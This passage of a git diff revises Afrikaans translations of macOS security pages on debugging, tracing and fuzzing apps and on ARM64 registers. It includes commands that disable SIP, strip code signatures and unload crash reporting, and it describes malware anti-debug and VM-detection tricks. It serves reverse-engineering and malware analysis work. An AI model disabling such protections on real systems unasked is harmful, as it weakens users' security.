nie. #### ICDump -[**iCDump**](https://github.com/romainthomas/iCDump) is 'n moderne en kruis-platform Objective-C klasdump. In vergelyking met bestaande hulpmiddels, kan iCDump onafhanklik van die Apple-ekosisteem werk en dit stel Python-bindings bloot. +[**iCDump**](https://github.com/romainthomas/iCDump) is 'n moderne en kruis-platform Objective-C klas dump. In vergelyking met bestaande hulpmiddels, kan iCDump onafhanklik van die Apple-ekosisteem werk en dit stel Python-bindings bloot. ```python import icdump metadata = icdump.objc.parse("/path/to/bin") @@ -191,7 +191,7 @@ Mem: 0x100027064-0x1000274cc __TEXT.__swift5_fieldmd Mem: 0x1000274cc-0x100027608 __TEXT.__swift5_capture [...] ``` -U kan verdere inligting oor die [**inligting wat in hierdie afdeling gestoor is in hierdie blogpos**](https://knight.sc/reverse%20engineering/2019/07/17/swift-metadata.html). +Jy kan verdere inligting oor die [**inligting wat in hierdie afdeling gestoor is in hierdie blogpos**](https://knight.sc/reverse%20engineering/2019/07/17/swift-metadata.html) vind. Boonop **kan Swift-binaries simbole hê** (byvoorbeeld biblioteke moet simbole stoor sodat hul funksies aangeroep kan word). Die **simbole het gewoonlik die inligting oor die funksienaam** en attribuut op 'n lelike manier, so hulle is baie nuttig en daar is "**demanglers"** wat die oorspronklike naam kan kry: ```bash @@ -207,18 +207,18 @@ swift demangle > Let daarop dat om binêre te debugeer, **SIP moet gedeaktiveer word** (`csrutil disable` of `csrutil enable --without debug`) of om die binêre na 'n tydelike gids te kopieer en **die handtekening te verwyder** met `codesign --remove-signature ` of om die debuggings van die binêre toe te laat (jy kan [hierdie skrip](https://gist.github.com/carlospolop/a66b8d72bb8f43913c4b5ae45672578b) gebruik). > [!WARNING] -> Let daarop dat om **stelsels binêre te instrumenteer**, (soos `cloudconfigurationd`) op macOS, **SIP moet gedeaktiveer word** (net die handtekening verwyder sal nie werk nie). +> Let daarop dat om **stelselsbinêre te instrumenteer**, (soos `cloudconfigurationd`) op macOS, **SIP moet gedeaktiveer word** (net die handtekening verwyder sal nie werk nie). -### APIs +### API's -macOS stel 'n paar interessante APIs bloot wat inligting oor die prosesse gee: +macOS stel 'n paar interessante API's bloot wat inligting oor die prosesse gee: - `proc_info`: Dit is die hoof een wat baie inligting oor elke proses gee. Jy moet root wees om inligting oor ander prosesse te kry, maar jy het nie spesiale regte of mach-poorte nodig nie. - `libsysmon.dylib`: Dit maak dit moontlik om inligting oor prosesse te verkry via XPC blootgestelde funksies, egter, dit is nodig om die regte `com.apple.sysmond.client` te hê. ### Stackshot & mikrostackshots -**Stackshotting** is 'n tegniek wat gebruik word om die toestand van die prosesse vas te vang, insluitend die oproepstapels van alle lopende drade. Dit is veral nuttig vir debuggings, prestasie analise, en om die gedrag van die stelsel op 'n spesifieke tydstip te verstaan. Op iOS en macOS kan stackshotting uitgevoer word met verskeie gereedskap en metodes soos die gereedskap **`sample`** en **`spindump`**. +**Stackshotting** is 'n tegniek wat gebruik word om die toestand van die prosesse vas te vang, insluitend die oproepstapels van alle lopende drade. Dit is veral nuttig vir debuggings, prestasieanalise, en om die gedrag van die stelsel op 'n spesifieke tydstip te verstaan. Op iOS en macOS kan stackshotting uitgevoer word met verskeie gereedskap en metodes soos die gereedskap **`sample`** en **`spindump`**. ### Sysdiagnose @@ -230,7 +230,7 @@ Sy plist is geleë in `/System/Library/LaunchDaemons/com.apple.sysdiagnose.plist - `com.apple.sysdiagnose.CacheDelete`: Verwyder ou argiewe in /var/rmp - `com.apple.sysdiagnose.kernel.ipc`: Spesiale poort 23 (kernel) -- `com.apple.sysdiagnose.service.xpc`: Gebruikersmodus-onderhoud deur `Libsysdiagnose` Obj-C klas. Drie argumente in 'n dict kan oorgedra word (`compress`, `display`, `run`) +- `com.apple.sysdiagnose.service.xpc`: Gebruikersmodus-koppelvlak deur `Libsysdiagnose` Obj-C klas. Drie argumente in 'n dict kan oorgedra word (`compress`, `display`, `run`) ### Geünifiseerde Logs @@ -246,7 +246,7 @@ In die linker paneel van hopper is dit moontlik om die simbole (**Labels**) van #### Middelpaneel -In die middelpaneel kan jy die **gedissasembelde kode** sien. En jy kan dit as 'n **rauwe** disassemble, as **grafiek**, as **gedekodeer** en as **binêre** sien deur op die onderskeie ikoon te klik: +In die middelpaneel kan jy die **gedissasembelde kode** sien. En jy kan dit as 'n **rauwe** disassemble, as **grafiek**, as **gedekodeer** en as **binêr** sien deur op die onderskeie ikoon te klik:
@@ -262,9 +262,9 @@ In die regter paneel kan jy interessante inligting sien soos die **navigasiegesk ### dtrace -Dit stel gebruikers in staat om toegang tot toepassings op 'n uiters **lae vlak** te verkry en bied 'n manier vir gebruikers om **programmas** te **volg** en selfs hul uitvoeringsvloei te verander. Dtrace gebruik **probes** wat **oor die kernel geplaas is** en is op plekke soos die begin en einde van stelsels oproepe. +Dit stel gebruikers in staat om toegang tot toepassings op 'n uiters **lae vlak** te verkry en bied 'n manier vir gebruikers om **programmas** te **volg** en selfs hul uitvoeringsvloei te verander. Dtrace gebruik **probes** wat **oor die kernel geplaas is** en is op plekke soos die begin en einde van stelselsoproepen. -DTrace gebruik die **`dtrace_probe_create`** funksie om 'n probe vir elke stelsels oproep te skep. Hierdie probes kan in die **toegang en uitgangspunt van elke stelsels oproep** geaktiveer word. Die interaksie met DTrace vind plaas deur /dev/dtrace wat slegs beskikbaar is vir die root gebruiker. +DTrace gebruik die **`dtrace_probe_create`** funksie om 'n probe vir elke stelselsoproep te skep. Hierdie probes kan in die **toegang en uitgangspunt van elke stelselsoproep** geaktiveer word. Die interaksie met DTrace vind plaas deur /dev/dtrace wat slegs beskikbaar is vir die root gebruiker. > [!TIP] > Om Dtrace in te skakel sonder om SIP-beskerming heeltemal te deaktiveer, kan jy in herstelmodus uitvoer: `csrutil enable --without dtrace` @@ -361,7 +361,7 @@ Om hierdie inligting te verkry, is dit moontlik om die Apple-gereedskap **`trace ### ktrace -Die `ktrace_*` APIs kom van `libktrace.dylib` wat dié van `Kdebug` omhul. Dan kan 'n kliënt net `ktrace_session_create` en `ktrace_events_[single/class]` aanroep om callbacks op spesifieke kodes in te stel en dit dan begin met `ktrace_start`. +Die `ktrace_*` APIs kom van `libktrace.dylib` wat dié van `Kdebug` omhul. Dan kan 'n kliënt eenvoudig `ktrace_session_create` en `ktrace_events_[single/class]` aanroep om callbacks op spesifieke kodes in te stel en dit dan te begin met `ktrace_start`. Jy kan hierdie een selfs gebruik met **SIP geaktiveer** @@ -383,12 +383,12 @@ Boonop, 'n subset van Kperf se funksionaliteit woon in `kpc`, wat inligting vers ### ProcessMonitor -[**ProcessMonitor**](https://objective-see.com/products/utilities.html#ProcessMonitor) is 'n baie nuttige hulpmiddel om die prosesverwante aksies wat 'n proses uitvoer na te gaan (byvoorbeeld, om te monitor watter nuwe prosesse 'n proses skep). +[**ProcessMonitor**](https://objective-see.com/products/utilities.html#ProcessMonitor) is 'n baie nuttige hulpmiddel om die prosesverwante aksies wat 'n proses uitvoer, na te gaan (byvoorbeeld, om te monitor watter nuwe prosesse 'n proses skep). ### SpriteTree [**SpriteTree**](https://themittenmac.com/tools/) is 'n hulpmiddel om die verhoudings tussen prosesse te druk.\ -Jy moet jou mac monitor met 'n opdrag soos **`sudo eslogger fork exec rename create > cap.json`** (die terminal wat dit begin het die nodige FDA). En dan kan jy die json in hierdie hulpmiddel laai om al die verhoudings te sien: +Jy moet jou mac monitor met 'n opdrag soos **`sudo eslogger fork exec rename create > cap.json`** (die terminal wat dit begin vereis FDA). En dan kan jy die json in hierdie hulpmiddel laai om al die verhoudings te sien:
@@ -402,13 +402,13 @@ Jy moet jou mac monitor met 'n opdrag soos **`sudo eslogger fork exec rename cre ### Apple Instruments -[**Apple Instruments**](https://developer.apple.com/library/archive/documentation/Performance/Conceptual/CellularBestPractices/Appendix/Appendix.html) is deel van Xcode se Ontwikkelaarshulpmiddels – gebruik om toepassingsprestasie te monitor, geheuelekas te identifiseer en lê sisteme aktiwiteit te volg. +[**Apple Instruments**](https://developer.apple.com/library/archive/documentation/Performance/Conceptual/CellularBestPractices/Appendix/Appendix.html) is deel van Xcode se Ontwikkelaarshulpmiddels – gebruik vir die monitering van toepassingsprestasie, die identifisering van geheuelekke en die opsporing van lêerstelselsaktiwiteit. ![](<../../../images/image (1138).png>) ### fs_usage -Laat toe om aksies wat deur prosesse uitgevoer word te volg: +Laat toe om aksies wat deur prosesse uitgevoer word, te volg: ```bash fs_usage -w -f filesys ls #This tracks filesystem actions of proccess names containing ls fs_usage -w -f network curl #This tracks network actions @@ -431,14 +431,14 @@ lldb -p 1122 lldb -n malware.bin lldb -n malware.bin --waitfor ``` -U kan die intel-smaak instel wanneer u lldb gebruik deur 'n lêer genaamd **`.lldbinit`** in u tuisgids te skep met die volgende lyn: +Jy kan die intel-smaak instel wanneer jy lldb gebruik deur 'n lêer genaamd **`.lldbinit`** in jou tuisgids te skep met die volgende lyn: ```bash settings set target.x86-disassembly-flavor intel ``` > [!WARNING] > Binne lldb, dump 'n proses met `process save-core` -
(lldb) OpdragBesonderheid
run (r)Begin uitvoering, wat ononderbroke sal voortduur totdat 'n breekpunt bereik word of die proses beëindig.
process launch --stop-at-entryBegin uitvoering wat by die ingangspunt stop
continue (c)Voortgaan met die uitvoering van die gedebugde proses.
nexti (n / ni)Voer die volgende instruksie uit. Hierdie opdrag sal funksie-oproepe oorslaan.
stepi (s / si)Voer die volgende instruksie uit. Anders as die nexti-opdrag, sal hierdie opdrag in funksie-oproepe stap.
finish (f)Voer die res van die instruksies in die huidige funksie (“raam”) uit, keer terug en stop.
control + cPouseer uitvoering. As die proses gedraai (r) of voortgegaan (c) is, sal dit die proses laat stop ... waar dit ook al tans uitvoer.
breakpoint (b)

b main #Enige funksie genoem main

b <binname>`main #Hoof funksie van die bin

b set -n main --shlib <lib_name> #Hoof funksie van die aangeduide bin

breakpoint set -r '\[NSFileManager .*\]$' #Enige NSFileManager metode

breakpoint set -r '\[NSFileManager contentsOfDirectoryAtPath:.*\]$'

break set -r . -s libobjc.A.dylib # Breek in alle funksies van daardie biblioteek

b -a 0x0000000100004bd9

br l #Breekpunt lys

br e/dis <num> #Aktiveer/deaktiveer breekpunt

breakpoint delete <num>

help

help breakpoint #Kry hulp van breekpunt opdrag

help memory write #Kry hulp om in die geheue te skryf

reg

reg read

reg read $rax

reg read $rax --format <formaat>

reg write $rip 0x100035cc0

x/s <reg/geheue adres>Vertoon die geheue as 'n null-beëindigde string.
x/i <reg/geheue adres>Vertoon die geheue as assembly instruksie.
x/b <reg/geheue adres>Vertoon die geheue as byte.
print object (po)

Dit sal die objek verwys deur die param druk

po $raw

{

dnsChanger = {

"affiliate" = "";

"blacklist_dns" = ();

Let daarop dat die meeste van Apple se Objective-C APIs of metodes objekte teruggee, en dus via die “print object” (po) opdrag vertoon moet word. As po nie 'n betekenisvolle uitset lewer nie, gebruik x/b

memorymemory read 0x000....
memory read $x0+0xf2a
memory write 0x100600000 -s 4 0x41414141 #Skryf AAAA in daardie adres
memory write -f s $rip+0x11f+7 "AAAA" #Skryf AAAA in die addr
disassembly

dis #Disas huidige funksie

dis -n <funcname> #Disas funksie

dis -n <funcname> -b <basename> #Disas funksie
dis -c 6 #Disas 6 lyne
dis -c 0x100003764 -e 0x100003768 # Van een add tot die ander
dis -p -c 4 # Begin in huidige adres disassembler

parrayparray 3 (char **)$x1 # Kontroleer array van 3 komponente in x1 reg
image dump sectionsDruk kaart van die huidige proses geheue
image dump symtab <library>image dump symtab CoreNLP #Kry die adres van al die simbole van CoreNLP
+
(lldb) OpdragBesonderheid
run (r)Begin uitvoering, wat ononderbroke sal voortduur totdat 'n breekpunt bereik word of die proses beëindig.
process launch --stop-at-entryBegin uitvoering wat by die ingangspunt stop
continue (c)Voortgaan met die uitvoering van die gedebugde proses.
nexti (n / ni)Voer die volgende instruksie uit. Hierdie opdrag sal funksie-oproepe oorslaan.
stepi (s / si)Voer die volgende instruksie uit. Anders as die nexti-opdrag, sal hierdie opdrag in funksie-oproepe stap.
finish (f)Voer die res van die instruksies in die huidige funksie (“raam”) uit, keer terug en stop.
control + cPauzeer uitvoering. As die proses gedraai (r) of voortgegaan (c) is, sal dit die proses laat stop ... waar dit ook al tans uitvoer.
breakpoint (b)

b main #Enige funksie genoem main

b <binname>`main #Hoof funksie van die bin

b set -n main --shlib <lib_name> #Hoof funksie van die aangeduide bin

breakpoint set -r '\[NSFileManager .*\]$' #Enige NSFileManager metode

breakpoint set -r '\[NSFileManager contentsOfDirectoryAtPath:.*\]$'

break set -r . -s libobjc.A.dylib # Breek in alle funksies van daardie biblioteek

b -a 0x0000000100004bd9

br l #Breakpoint lys

br e/dis <num> #Aktiveer/deaktiveer breekpunt

breakpoint delete <num>

help

help breakpoint #Kry hulp van breekpunt opdrag

help memory write #Kry hulp om in die geheue te skryf

reg

reg read

reg read $rax

reg read $rax --format <formaat>

reg write $rip 0x100035cc0

x/s <reg/geheue adres>Vertoon die geheue as 'n null-beëindigde string.
x/i <reg/geheue adres>Vertoon die geheue as assembly instruksie.
x/b <reg/geheue adres>Vertoon die geheue as byte.
print object (po)

Dit sal die objek verwys deur die param druk

po $raw

{

dnsChanger = {

"affiliate" = "";

"blacklist_dns" = ();

Let daarop dat die meeste van Apple se Objective-C APIs of metodes objekte teruggee, en dus via die “print object” (po) opdrag vertoon moet word. As po nie 'n betekenisvolle uitvoer lewer nie, gebruik x/b

memorymemory read 0x000....
memory read $x0+0xf2a
memory write 0x100600000 -s 4 0x41414141 #Skryf AAAA in daardie adres
memory write -f s $rip+0x11f+7 "AAAA" #Skryf AAAA in die addr
disassembly

dis #Disas huidige funksie

dis -n <funcname> #Disas funksie

dis -n <funcname> -b <basename> #Disas funksie
dis -c 6 #Disas 6 lyne
dis -c 0x100003764 -e 0x100003768 # Van een add tot die ander
dis -p -c 4 # Begin in huidige adres disassemble

parrayparray 3 (char **)$x1 # Kontroleer array van 3 komponente in x1 reg
image dump sectionsDruk kaart van die huidige proses geheue
image dump symtab <library>image dump symtab CoreNLP #Kry die adres van al die simbole van CoreNLP
> [!NOTE] > Wanneer die **`objc_sendMsg`** funksie aangeroep word, hou die **rsi** register die **naam van die metode** as 'n null-beëindigde (“C”) string. Om die naam via lldb te druk, doen: @@ -455,14 +455,14 @@ settings set target.x86-disassembly-flavor intel #### VM opsporing - Die opdrag **`sysctl hw.model`** gee "Mac" terug wanneer die **gasheer 'n MacOS** is, maar iets anders wanneer dit 'n VM is. -- Deur met die waardes van **`hw.logicalcpu`** en **`hw.physicalcpu`** te speel, probeer sommige malware om te bepaal of dit 'n VM is. +- Deur met die waardes van **`hw.logicalcpu`** en **`hw.physicalcpu`** te speel, probeer sommige malware om te detecteer of dit 'n VM is. - Sommige malware kan ook **opspoor** of die masjien **VMware** gebaseer is op die MAC adres (00:50:56). - Dit is ook moontlik om te vind **of 'n proses gedebug word** met 'n eenvoudige kode soos: -- `if(P_TRACED == (info.kp_proc.p_flag & P_TRACED)){ //proses word gedebug }` +- `if(P_TRACED == (info.kp_proc.p_flag & P_TRACED)){ //proses wat gedebug word }` - Dit kan ook die **`ptrace`** stelselaanroep met die **`PT_DENY_ATTACH`** vlag aanroep. Dit **verhoed** 'n deb**u**gger om aan te sluit en te volg. - Jy kan nagaan of die **`sysctl`** of **`ptrace`** funksie **geïmporteer** word (maar die malware kan dit dinamies invoer) - Soos opgemerk in hierdie skrywe, “[Defeating Anti-Debug Techniques: macOS ptrace variants](https://alexomara.com/blog/defeating-anti-debug-techniques-macos-ptrace-variants/)” :\ -“_Die boodskap Proses # het met **status = 45 (0x0000002d)** uitgegaan, is gewoonlik 'n duidelike teken dat die debug teiken **PT_DENY_ATTACH** gebruik_” +“_Die boodskap Proses # het met **status = 45 (0x0000002d)** uitgegaan, is gewoonlik 'n duidelike teken dat die debug-teiken **PT_DENY_ATTACH** gebruik_” ## Kern Dumps @@ -478,11 +478,11 @@ In daardie gevalle word die kern dumps gegenereer volgens `kern.corefile` sysctl ### [ReportCrash](https://ss64.com/osx/reportcrash.html) -ReportCrash **analiseer neergestorte prosesse en stoor 'n neergestorte verslag op skyf**. 'n Neergestorte verslag bevat inligting wat kan **help om 'n ontwikkelaar te help om** die oorsaak van 'n neergestorte te diagnoseer.\ +ReportCrash **analiseer neergestorte prosesse en stoor 'n neergestorte verslag op skyf**. 'n Neergestorte verslag bevat inligting wat kan **help 'n ontwikkelaar om** die oorsaak van 'n neergestorte te diagnoseer.\ Vir toepassings en ander prosesse **wat in die per-gebruiker launchd konteks loop**, loop ReportCrash as 'n LaunchAgent en stoor neergestorte verslae in die gebruiker se `~/Library/Logs/DiagnosticReports/`\ Vir daemons, ander prosesse **wat in die stelsel launchd konteks loop** en ander bevoorregte prosesse, loop ReportCrash as 'n LaunchDaemon en stoor neergestorte verslae in die stelsel se `/Library/Logs/DiagnosticReports` -As jy bekommerd is oor neergestorte verslae **wat na Apple gestuur word**, kan jy dit deaktiveer. As nie, kan neergestorte verslae nuttig wees om te **begryp hoe 'n bediener neergestort het**. +As jy bekommerd is oor neergestorte verslae **wat na Apple gestuur word**, kan jy dit deaktiveer. As nie, kan neergestorte verslae nuttig wees om **uit te vind hoe 'n bediener neergestort het**. ```bash #To disable crash reporting: launchctl unload -w /System/Library/LaunchAgents/com.apple.ReportCrash.plist @@ -544,7 +544,7 @@ Werk vir CLI gereedskap #### [Litefuzz](https://github.com/sec-tools/litefuzz) -Dit "**werk net"** met macOS GUI gereedskap. Let daarop dat sommige macOS toepassings spesifieke vereistes het soos unieke lêernamen, die regte uitbreiding, en moet die lêers uit die sandbox lees (`~/Library/Containers/com.apple.Safari/Data`)... +Dit "**werk net"** met macOS GUI gereedskap. Let daarop dat sommige macOS toepassings spesifieke vereistes het soos unieke lêername, die regte uitbreiding, en dat dit die lêers uit die sandbox moet lees (`~/Library/Containers/com.apple.Safari/Data`)... Sommige voorbeelde: ```bash @@ -579,7 +579,7 @@ litefuzz -s -a tcp://localhost:5900 -i input/screenshared-session --reportcrash ## Verwysings -- [**OS X Voorval Respons: Skripting en Analise**](https://www.amazon.com/OS-Incident-Response-Scripting-Analysis-ebook/dp/B01FHOHHVS) +- [**OS X Voorval Respons: Scripting en Analise**](https://www.amazon.com/OS-Incident-Response-Scripting-Analysis-ebook/dp/B01FHOHHVS) - [**https://www.youtube.com/watch?v=T5xfL9tEg44**](https://www.youtube.com/watch?v=T5xfL9tEg44) - [**https://taomm.org/vol1/analysis.html**](https://taomm.org/vol1/analysis.html) - [**Die Kuns van Mac Malware: Die Gids om Kwaadaardige Sagteware te Analiseer**](https://taomm.org/) diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md index 8bbef08ca..89dfc48b3 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md @@ -4,65 +4,65 @@ ## **Uitsondering Niveaus - EL (ARM64v8)** -In die ARMv8-argitektuur definieer uitvoeringsniveaus, bekend as Uitsondering Niveaus (ELs), die voorregte en vermoëns van die uitvoeringsomgewing. Daar is vier uitsondering niveaus, wat wissel van EL0 tot EL3, elk met 'n ander doel: +In ARMv8 argitektuur definieer uitvoeringsniveaus, bekend as Uitsondering Niveaus (ELs), die voorregtevlak en vermoëns van die uitvoeringsomgewing. Daar is vier uitsondering niveaus, wat wissel van EL0 tot EL3, elk met 'n ander doel: 1. **EL0 - Gebruikersmodus**: -- Dit is die minste voorregte vlak en word gebruik om gewone toepassingskode uit te voer. +- Dit is die minste voorregtevlak en word gebruik om gewone toepassingskode uit te voer. - Toepassings wat op EL0 loop, is van mekaar en van die stelselsagteware geïsoleer, wat sekuriteit en stabiliteit verbeter. 2. **EL1 - Bedryfstelsel Kernel Modus**: - Meeste bedryfstelsel-kernels loop op hierdie vlak. - EL1 het meer voorregte as EL0 en kan toegang tot stelselhulpbronne hê, maar met sekere beperkings om stelselintegriteit te verseker. 3. **EL2 - Hypervisor Modus**: -- Hierdie vlak word gebruik vir virtualisering. 'n Hypervisor wat op EL2 loop, kan verskeie bedryfstelsels bestuur (elk in sy eie EL1) wat op dieselfde fisiese hardeware loop. +- Hierdie vlak word gebruik vir virtualisering. 'n Hypervisor wat op EL2 loop, kan verskeie bedryfstelsels bestuur (elke in sy eie EL1) wat op dieselfde fisiese hardeware loop. - EL2 bied kenmerke vir isolasie en beheer van die gevirtualiseerde omgewings. 4. **EL3 - Veilige Monitor Modus**: -- Dit is die mees voorregte vlak en word dikwels gebruik vir veilige opstart en vertroude uitvoeringsomgewings. +- Dit is die mees voorregtevlak en word dikwels gebruik vir veilige opstart en vertroude uitvoeringsomgewings. - EL3 kan toegang en kontrole tussen veilige en nie-veilige toestande bestuur (soos veilige opstart, vertroude OS, ens.). -Die gebruik van hierdie vlakke stel 'n gestruktureerde en veilige manier in om verskillende aspekte van die stelsel te bestuur, van gebruikersaansoeke tot die mees voorregte stelselsagteware. ARMv8 se benadering tot voorregte vlakke help om verskillende stelselskomponente effektief te isoleer, wat die sekuriteit en robuustheid van die stelsel verbeter. +Die gebruik van hierdie vlakke stel 'n gestruktureerde en veilige manier in om verskillende aspekte van die stelsel te bestuur, van gebruikersaansoeke tot die mees voorregte stelselsagteware. ARMv8 se benadering tot voorregtevlakke help om verskillende stelselskomponente effektief te isoleer, wat die sekuriteit en robuustheid van die stelsel verbeter. ## **Registers (ARM64v8)** -ARM64 het **31 algemene registers**, gemerk `x0` tot `x30`. Elke een kan 'n **64-bit** (8-byte) waarde stoor. Vir operasies wat slegs 32-bit waardes vereis, kan dieselfde registers in 'n 32-bit modus toeganklik wees met die name w0 tot w30. +ARM64 het **31 algemene registers**, gemerk `x0` tot `x30`. Elke kan 'n **64-bit** (8-byte) waarde stoor. Vir operasies wat slegs 32-bit waardes vereis, kan dieselfde registers in 'n 32-bit modus met die name w0 tot w30 aangespreek word. 1. **`x0`** tot **`x7`** - Hierdie word tipies as skrapregisters en vir die oordrag van parameters na subroutines gebruik. - **`x0`** dra ook die terugdata van 'n funksie -2. **`x8`** - In die Linux-kernel, word `x8` gebruik as die stelselaanroepnommer vir die `svc` instruksie. **In macOS is dit x16 wat gebruik word!** +2. **`x8`** - In die Linux-kernel, word `x8` as die stelselaanroepnommer vir die `svc` instruksie gebruik. **In macOS is dit x16 wat gebruik word!** 3. **`x9`** tot **`x15`** - Meer tydelike registers, dikwels gebruik vir plaaslike veranderlikes. -4. **`x16`** en **`x17`** - **Intra-prosedurele Oproep Registers**. Tydelike registers vir onmiddellike waardes. Hulle word ook gebruik vir indirekte funksie-oproepe en PLT (Procedure Linkage Table) stubs. -- **`x16`** word gebruik as die **stelselaanroepnommer** vir die **`svc`** instruksie in **macOS**. -5. **`x18`** - **Platform register**. Dit kan as 'n algemene register gebruik word, maar op sommige platforms is hierdie register gereserveer vir platform-spesifieke gebruike: Punter na die huidige draad-plekblok in Windows, of om na die huidige **uitvoerende taakstruktuur in die linux kernel** te verwys. -6. **`x19`** tot **`x28`** - Hierdie is belde-bewaar registers. 'n Funksie moet hierdie registers se waardes vir sy oproeper behou, so hulle word in die stapel gestoor en herwin voordat hulle teruggaan na die oproeper. +4. **`x16`** en **`x17`** - **Intra-prosedurele Oproep Registers**. Tydelike registers vir onmiddellike waardes. Hulle word ook gebruik vir indirekte funksie-oproepe en PLT (Prosedure Koppeling Tabel) stubs. +- **`x16`** word as die **stelselaanroepnommer** vir die **`svc`** instruksie in **macOS** gebruik. +5. **`x18`** - **Platform register**. Dit kan as 'n algemene register gebruik word, maar op sommige platforms is hierdie register gereserveer vir platform-spesifieke gebruike: Punter na die huidige draad-omgewing blok in Windows, of om na die huidige **uitvoerende taakstruktuur in die linux kernel** te verwys. +6. **`x19`** tot **`x28`** - Hierdie is belde-bewaar registers. 'n Funksie moet hierdie registers se waardes vir sy oproeper behou, so hulle word in die stapel gestoor en herwin voordat hulle terug na die oproeper gaan. 7. **`x29`** - **Raamwyser** om die stapelraam te volg. Wanneer 'n nuwe stapelraam geskep word omdat 'n funksie opgeroep word, word die **`x29`** register **in die stapel gestoor** en die **nuwe** raamwyser adres is (**`sp`** adres) **in hierdie register gestoor**. - Hierdie register kan ook as 'n **algemene register** gebruik word alhoewel dit gewoonlik as 'n verwysing na **lokale veranderlikes** gebruik word. -8. **`x30`** of **`lr`**- **Link register**. Dit hou die **terugadres** wanneer 'n `BL` (Branch with Link) of `BLR` (Branch with Link to Register) instruksie uitgevoer word deur die **`pc`** waarde in hierdie register te stoor. +8. **`x30`** of **`lr`**- **Koppeling register**. Dit hou die **terugadres** wanneer 'n `BL` (Branch with Link) of `BLR` (Branch with Link to Register) instruksie uitgevoer word deur die **`pc`** waarde in hierdie register te stoor. - Dit kan ook soos enige ander register gebruik word. - As die huidige funksie 'n nuwe funksie gaan oproep en dus `lr` gaan oorskryf, sal dit dit aan die begin in die stapel stoor, dit is die epiloog (`stp x29, x30 , [sp, #-48]; mov x29, sp` -> Stoor `fp` en `lr`, genereer ruimte en kry nuwe `fp`) en dit aan die einde herwin, dit is die proloog (`ldp x29, x30, [sp], #48; ret` -> Herwin `fp` en `lr` en keer terug). 9. **`sp`** - **Stapelwyser**, gebruik om die bokant van die stapel te volg. -- die **`sp`** waarde moet altyd ten minste 'n **quadword** **uitlijning** gehandhaaf word of 'n uitlijningsfout mag voorkom. -10. **`pc`** - **Program teller**, wat na die volgende instruksie wys. Hierdie register kan slegs opgedateer word deur uitsondering generasies, uitsondering terugkeerde, en takke. Die enigste gewone instruksies wat hierdie register kan lees, is tak met link instruksies (BL, BLR) om die **`pc`** adres in **`lr`** (Link Register) te stoor. -11. **`xzr`** - **Nul register**. Ook genoem **`wzr`** in sy **32**-bit registervorm. Kan gebruik word om die nul waarde maklik te kry (gewone operasie) of om vergelykings uit te voer met **`subs`** soos **`subs XZR, Xn, #10`** wat die resulterende data nêrens stoor (in **`xzr`**). +- die **`sp`** waarde moet altyd ten minste 'n **quadword** **uitlijning** of 'n uitlijningsfout mag voorkom. +10. **`pc`** - **Program teller**, wat na die volgende instruksie wys. Hierdie register kan slegs opgedateer word deur uitsondering generasies, uitsondering terugkeerde, en takke. Die enigste gewone instruksies wat hierdie register kan lees, is tak met koppeling instruksies (BL, BLR) om die **`pc`** adres in **`lr`** (Koppeling Register) te stoor. +11. **`xzr`** - **Nul register**. Ook genoem **`wzr`** in sy **32**-bit registervorm. Kan gebruik word om die nulwaarde maklik te kry (gewone operasie) of om vergelykings uit te voer met **`subs`** soos **`subs XZR, Xn, #10`** wat die resulterende data nêrens stoor (in **`xzr`**). Die **`Wn`** registers is die **32bit** weergawe van die **`Xn`** register. -### SIMD en Vervaardigingsregisters +### SIMD en Vlotpunt Registers -Boonop is daar nog **32 registers van 128bit lengte** wat gebruik kan word in geoptimaliseerde enkele instruksie meervoudige data (SIMD) operasies en vir die uitvoering van drijvende-komma rekenkunde. Hierdie word die Vn registers genoem alhoewel hulle ook in **64**-bit, **32**-bit, **16**-bit en **8**-bit kan werk en dan word hulle **`Qn`**, **`Dn`**, **`Sn`**, **`Hn`** en **`Bn`** genoem. +Boonop is daar nog **32 registers van 128bit lengte** wat in geoptimaliseerde enkele instruksie meervoudige data (SIMD) operasies en vir die uitvoering van vlotpunt aritmetiek gebruik kan word. Hierdie word die Vn registers genoem alhoewel hulle ook in **64**-bit, **32**-bit, **16**-bit en **8**-bit kan werk en dan word hulle **`Qn`**, **`Dn`**, **`Sn`**, **`Hn`** en **`Bn`** genoem. -### Stelselsregisters +### Stelsels Registers -**Daar is honderde stelselsregisters**, ook bekend as spesiale-doel registers (SPRs), wat gebruik word vir **monitering** en **beheer** van **prosessor** gedrag.\ +**Daar is honderde stelsels registers**, ook bekend as spesiale doeleindes registers (SPRs), wat gebruik word vir **monitering** en **beheer** van **verwerkers** gedrag.\ Hulle kan slegs gelees of gestel word met die toegewyde spesiale instruksie **`mrs`** en **`msr`**. -Die spesiale registers **`TPIDR_EL0`** en **`TPIDDR_EL0`** word algemeen gevind wanneer omgekeerde ingenieurswese gedoen word. Die `EL0` agtervoegsel dui die **minimale uitsondering** aan waaruit die register toeganklik is (in hierdie geval is EL0 die gewone uitsondering (voorreg) vlak waaroor gewone programme loop).\ -Hulle word dikwels gebruik om die **basisadres van die draad-lokale berging** geheue streek te stoor. Gewoonlik is die eerste een leesbaar en skryfbaar vir programme wat in EL0 loop, maar die tweede kan van EL0 gelees en van EL1 geskryf word (soos kernel). +Die spesiale registers **`TPIDR_EL0`** en **`TPIDDR_EL0`** word algemeen gevind wanneer omgekeerde ingenieurswese gedoen word. Die `EL0` agtervoegsel dui die **minimale uitsondering** aan waaruit die register aangespreek kan word (in hierdie geval is EL0 die gewone uitsondering (voorreg) vlak waaroor gewone programme loop).\ +Hulle word dikwels gebruik om die **basisadres van die draad-lokale berging** geheue streek te stoor. Gewoonlik is die eerste een leesbaar en skryfbaar vir programme wat in EL0 loop, maar die tweede kan van EL0 gelees en van EL1 (soos kernel) geskryf word. - `mrs x0, TPIDR_EL0 ; Lees TPIDR_EL0 in x0` - `msr TPIDR_EL0, X0 ; Skryf x0 in TPIDR_EL0` ### **PSTATE** -**PSTATE** bevat verskeie proses komponente wat in die bedryfstelsel-sigbare **`SPSR_ELx`** spesiale register geserialiseer is, wat X die **toestemming** **vlak van die geaktiveerde** uitsondering (dit stel in staat om die prosesstatus te herstel wanneer die uitsondering eindig).\ +**PSTATE** bevat verskeie proses komponente wat in die 